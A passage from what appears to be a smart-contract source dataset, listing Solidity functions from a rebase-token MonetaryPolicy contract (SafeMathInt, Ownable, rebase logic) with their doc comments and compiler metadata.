{
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a)
internal
pure
returns (int256)
{
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
} | div | function div(int256 a, int256 b)
internal
pure
returns (int256)
{
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
| /**
* @dev Division of two int256 variables and fails on overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e | {
"func_code_index": [
664,
960
]
} | 1,371 |
||
MonetaryPolicy | MonetaryPolicy.sol | 0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e | Solidity | SafeMathInt | library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b)
internal
pure
returns (int256)
{
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a)
internal
pure
returns (int256)
{
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
} | sub | function sub(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
| /**
* @dev Subtracts two int256 variables and fails on overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e | {
"func_code_index": [
1048,
1261
]
} | 1,372 |
||
MonetaryPolicy | MonetaryPolicy.sol | 0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e | Solidity | SafeMathInt | library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b)
internal
pure
returns (int256)
{
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a)
internal
pure
returns (int256)
{
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
} | add | function add(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
| /**
* @dev Adds two int256 variables and fails on overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e | {
"func_code_index": [
1344,
1557
]
} | 1,373 |
||
MonetaryPolicy | MonetaryPolicy.sol | 0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e | Solidity | SafeMathInt | library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b)
internal
pure
returns (int256)
{
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a)
internal
pure
returns (int256)
{
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
} | abs | function abs(int256 a)
internal
pure
returns (int256)
{
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
| /**
* @dev Converts to absolute value, and fails on overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e | {
"func_code_index": [
1642,
1808
]
} | 1,374 |
||
MonetaryPolicy | MonetaryPolicy.sol | 0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e | Solidity | UInt256Lib | library UInt256Lib {
uint256 private constant MAX_INT256 = ~(uint256(1) << 255);
/**
* @dev Safely converts a uint256 to an int256.
*/
function toInt256Safe(uint256 a)
internal
pure
returns (int256)
{
require(a <= MAX_INT256);
return int256(a);
}
} | /**
* @title Various utilities useful for uint256.
*/ | NatSpecMultiLine | toInt256Safe | function toInt256Safe(uint256 a)
internal
pure
returns (int256)
{
require(a <= MAX_INT256);
return int256(a);
}
| /**
* @dev Safely converts a uint256 to an int256.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e | {
"func_code_index": [
162,
333
]
} | 1,375 |
MonetaryPolicy | MonetaryPolicy.sol | 0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e | Solidity | Ownable | contract Ownable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
_owner = msg.sender;
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | owner | function owner() public view returns(address) {
return _owner;
}
| /**
* @return the address of the owner.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e | {
"func_code_index": [
453,
528
]
} | 1,376 |
MonetaryPolicy | MonetaryPolicy.sol | 0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e | Solidity | Ownable | contract Ownable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
_owner = msg.sender;
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | isOwner | function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
| /**
* @return true if `msg.sender` is the owner of the contract.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e | {
"func_code_index": [
755,
843
]
} | 1,377 |
MonetaryPolicy | MonetaryPolicy.sol | 0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e | Solidity | Ownable | contract Ownable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
_owner = msg.sender;
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | renounceOwnership | function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
| /**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e | {
"func_code_index": [
1112,
1231
]
} | 1,378 |
MonetaryPolicy | MonetaryPolicy.sol | 0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e | Solidity | Ownable | contract Ownable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
_owner = msg.sender;
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | transferOwnership | function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
| /**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e | {
"func_code_index": [
1395,
1501
]
} | 1,379 |
MonetaryPolicy | MonetaryPolicy.sol | 0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e | Solidity | Ownable | contract Ownable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
_owner = msg.sender;
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
} | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | _transferOwnership | function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
| /**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e | {
"func_code_index": [
1638,
1814
]
} | 1,380 |
MonetaryPolicy | MonetaryPolicy.sol | 0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e | Solidity | MonetaryPolicy | contract MonetaryPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
uint256 cpi,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
IRebased public rebased;
// Provides the current CPI as a 20 decimal fixed point number.
IOracle public cpiOracle;
// Market oracle provides the token/USD exchange rate as an 18 decimal fixed point number.
IOracle public marketOracle;
// CPI value at the time of launch, as an 18 decimal fixed point number.
uint256 private baseCpi;
// If the current exchange rate is within this fractional distance from the target, no supply
// update is performed. Fixed point number--same format as the rate.
// (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change.
// DECIMALS Fixed point number.
uint256 public deviationThreshold;
// The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag
// Check setRebaseLag comments for more details.
// Natural number, no decimal places.
uint256 public rebaseLag;
// More than this much time must pass between rebase operations.
uint256 public minRebaseTimeIntervalSec;
// Block timestamp of last rebase operation
uint256 public lastRebaseTimestampSec;
// The number of rebase cycles since inception
uint256 public epoch;
uint256 private constant DECIMALS = 18;
// Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256.
// Both are 18 decimals fixed point numbers.
uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS;
// MAX_SUPPLY = MAX_INT256 / MAX_RATE
uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE;
constructor(uint256 baseCpi_) public {
deviationThreshold = 5 * 10 ** (DECIMALS-2);
rebaseLag = 20;
minRebaseTimeIntervalSec = 12 hours;
lastRebaseTimestampSec = 0;
epoch = 0;
baseCpi = baseCpi_;
}
/**
* @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase.
*
*/
function canRebase() public view returns (bool) {
return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now);
}
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
*/
function rebase() external {
require(canRebase(), "Insufficient time has passed since last rebase");
lastRebaseTimestampSec = now;
epoch = epoch.add(1);
(uint256 cpi, uint256 exchangeRate, uint256 targetRate, int256 supplyDelta) = getRebaseValues();
uint256 supplyAfterRebase = rebased.rebase(epoch, supplyDelta);
assert(supplyAfterRebase <= MAX_SUPPLY);
emit LogRebase(epoch, exchangeRate, cpi, supplyDelta, now);
}
/**
* @notice Calculates the supplyDelta and returns the current set of values for the rebase
*
* @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag
* Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate
* and targetRate is CpiOracleRate / baseCpi
*
*/
function getRebaseValues() public view returns (uint256, uint256, uint256, int256) {
uint256 cpi;
bool cpiValid;
(cpi, cpiValid) = cpiOracle.getData();
require(cpiValid);
uint256 targetRate = cpi.mul(10 ** DECIMALS).div(baseCpi);
uint256 exchangeRate;
bool rateValid;
(exchangeRate, rateValid) = marketOracle.getData();
require(rateValid);
if (exchangeRate > MAX_RATE) {
exchangeRate = MAX_RATE;
}
int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate);
// Apply the Dampening factor.
supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe());
if (supplyDelta > 0 && rebased.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {
supplyDelta = (MAX_SUPPLY.sub(rebased.totalSupply())).toInt256Safe();
}
return (cpi, exchangeRate, targetRate, supplyDelta);
}
/**
* @return Computes the total supply adjustment in response to the exchange rate
* and the targetRate.
*/
function computeSupplyDelta(uint256 rate, uint256 targetRate)
internal
view
returns (int256)
{
if (withinDeviationThreshold(rate, targetRate)) {
return 0;
}
// supplyDelta = totalSupply * (rate - targetRate) / targetRate
int256 targetRateSigned = targetRate.toInt256Safe();
return rebased.totalSupply().toInt256Safe()
.mul(rate.toInt256Safe().sub(targetRateSigned))
.div(targetRateSigned);
}
/**
* @param rate The current exchange rate, an 18 decimal fixed point number.
* @param targetRate The target exchange rate, an 18 decimal fixed point number.
* @return If the rate is within the deviation threshold from the target rate, returns true.
* Otherwise, returns false.
*/
function withinDeviationThreshold(uint256 rate, uint256 targetRate)
internal
view
returns (bool)
{
uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold)
.div(10 ** DECIMALS);
return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold)
|| (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold);
}
/**
* @notice Sets the reference to the Rebased token governed.
* Can only be called once during initialization.
*
* @param rebased_ The address of the Rebased ERC20 token.
*/
function setRebased(IRebased rebased_)
external
onlyOwner
{
require(rebased == IRebased(0));
rebased = rebased_;
}
/**
* @notice Sets the reference to the CPI oracle.
* @param cpiOracle_ The address of the cpi oracle contract.
*/
function setCpiOracle(IOracle cpiOracle_)
external
onlyOwner
{
cpiOracle = cpiOracle_;
}
/**
* @notice Sets the reference to the market oracle.
* @param marketOracle_ The address of the market oracle contract.
*/
function setMarketOracle(IOracle marketOracle_)
external
onlyOwner
{
marketOracle = marketOracle_;
}
} | /**
* @title Rebased Monetary Supply Policy
* @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth.
* uFragments operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable unit price.
*
* This component regulates the token supply of the uFragments ERC20 token in response to
* market oracles.
*/ | NatSpecMultiLine | canRebase | function canRebase() public view returns (bool) {
return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now);
}
| /**
* @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase.
*
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e | {
"func_code_index": [
2372,
2521
]
} | 1,381 |
MonetaryPolicy | MonetaryPolicy.sol | 0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e | Solidity | MonetaryPolicy | contract MonetaryPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
uint256 cpi,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
IRebased public rebased;
// Provides the current CPI as a 20 decimal fixed point number.
IOracle public cpiOracle;
// Market oracle provides the token/USD exchange rate as an 18 decimal fixed point number.
IOracle public marketOracle;
// CPI value at the time of launch, as an 18 decimal fixed point number.
uint256 private baseCpi;
// If the current exchange rate is within this fractional distance from the target, no supply
// update is performed. Fixed point number--same format as the rate.
// (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change.
// DECIMALS Fixed point number.
uint256 public deviationThreshold;
// The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag
// Check setRebaseLag comments for more details.
// Natural number, no decimal places.
uint256 public rebaseLag;
// More than this much time must pass between rebase operations.
uint256 public minRebaseTimeIntervalSec;
// Block timestamp of last rebase operation
uint256 public lastRebaseTimestampSec;
// The number of rebase cycles since inception
uint256 public epoch;
uint256 private constant DECIMALS = 18;
// Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256.
// Both are 18 decimals fixed point numbers.
uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS;
// MAX_SUPPLY = MAX_INT256 / MAX_RATE
uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE;
constructor(uint256 baseCpi_) public {
deviationThreshold = 5 * 10 ** (DECIMALS-2);
rebaseLag = 20;
minRebaseTimeIntervalSec = 12 hours;
lastRebaseTimestampSec = 0;
epoch = 0;
baseCpi = baseCpi_;
}
/**
* @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase.
*
*/
function canRebase() public view returns (bool) {
return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now);
}
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
*/
function rebase() external {
require(canRebase(), "Insufficient time has passed since last rebase");
lastRebaseTimestampSec = now;
epoch = epoch.add(1);
(uint256 cpi, uint256 exchangeRate, uint256 targetRate, int256 supplyDelta) = getRebaseValues();
uint256 supplyAfterRebase = rebased.rebase(epoch, supplyDelta);
assert(supplyAfterRebase <= MAX_SUPPLY);
emit LogRebase(epoch, exchangeRate, cpi, supplyDelta, now);
}
/**
* @notice Calculates the supplyDelta and returns the current set of values for the rebase
*
* @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag
* Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate
* and targetRate is CpiOracleRate / baseCpi
*
*/
function getRebaseValues() public view returns (uint256, uint256, uint256, int256) {
uint256 cpi;
bool cpiValid;
(cpi, cpiValid) = cpiOracle.getData();
require(cpiValid);
uint256 targetRate = cpi.mul(10 ** DECIMALS).div(baseCpi);
uint256 exchangeRate;
bool rateValid;
(exchangeRate, rateValid) = marketOracle.getData();
require(rateValid);
if (exchangeRate > MAX_RATE) {
exchangeRate = MAX_RATE;
}
int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate);
// Apply the Dampening factor.
supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe());
if (supplyDelta > 0 && rebased.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {
supplyDelta = (MAX_SUPPLY.sub(rebased.totalSupply())).toInt256Safe();
}
return (cpi, exchangeRate, targetRate, supplyDelta);
}
/**
* @return Computes the total supply adjustment in response to the exchange rate
* and the targetRate.
*/
function computeSupplyDelta(uint256 rate, uint256 targetRate)
internal
view
returns (int256)
{
if (withinDeviationThreshold(rate, targetRate)) {
return 0;
}
// supplyDelta = totalSupply * (rate - targetRate) / targetRate
int256 targetRateSigned = targetRate.toInt256Safe();
return rebased.totalSupply().toInt256Safe()
.mul(rate.toInt256Safe().sub(targetRateSigned))
.div(targetRateSigned);
}
/**
* @param rate The current exchange rate, an 18 decimal fixed point number.
* @param targetRate The target exchange rate, an 18 decimal fixed point number.
* @return If the rate is within the deviation threshold from the target rate, returns true.
* Otherwise, returns false.
*/
function withinDeviationThreshold(uint256 rate, uint256 targetRate)
internal
view
returns (bool)
{
uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold)
.div(10 ** DECIMALS);
return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold)
|| (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold);
}
/**
* @notice Sets the reference to the Rebased token governed.
* Can only be called once during initialization.
*
* @param rebased_ The address of the Rebased ERC20 token.
*/
function setRebased(IRebased rebased_)
external
onlyOwner
{
require(rebased == IRebased(0));
rebased = rebased_;
}
/**
* @notice Sets the reference to the CPI oracle.
* @param cpiOracle_ The address of the cpi oracle contract.
*/
function setCpiOracle(IOracle cpiOracle_)
external
onlyOwner
{
cpiOracle = cpiOracle_;
}
/**
* @notice Sets the reference to the market oracle.
* @param marketOracle_ The address of the market oracle contract.
*/
function setMarketOracle(IOracle marketOracle_)
external
onlyOwner
{
marketOracle = marketOracle_;
}
} | /**
* @title Rebased Monetary Supply Policy
* @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth.
* uFragments operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable unit price.
*
* This component regulates the token supply of the uFragments ERC20 token in response to
* market oracles.
*/ | NatSpecMultiLine | rebase | function rebase() external {
require(canRebase(), "Insufficient time has passed since last rebase");
lastRebaseTimestampSec = now;
epoch = epoch.add(1);
(uint256 cpi, uint256 exchangeRate, uint256 targetRate, int256 supplyDelta) = getRebaseValues();
uint256 supplyAfterRebase = rebased.rebase(epoch, supplyDelta);
assert(supplyAfterRebase <= MAX_SUPPLY);
emit LogRebase(epoch, exchangeRate, cpi, supplyDelta, now);
}
| /**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e | {
"func_code_index": [
2653,
3168
]
} | 1,382 |
MonetaryPolicy | MonetaryPolicy.sol | 0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e | Solidity | MonetaryPolicy | contract MonetaryPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
uint256 cpi,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
IRebased public rebased;
// Provides the current CPI as a 20 decimal fixed point number.
IOracle public cpiOracle;
// Market oracle provides the token/USD exchange rate as an 18 decimal fixed point number.
IOracle public marketOracle;
// CPI value at the time of launch, as an 18 decimal fixed point number.
uint256 private baseCpi;
// If the current exchange rate is within this fractional distance from the target, no supply
// update is performed. Fixed point number--same format as the rate.
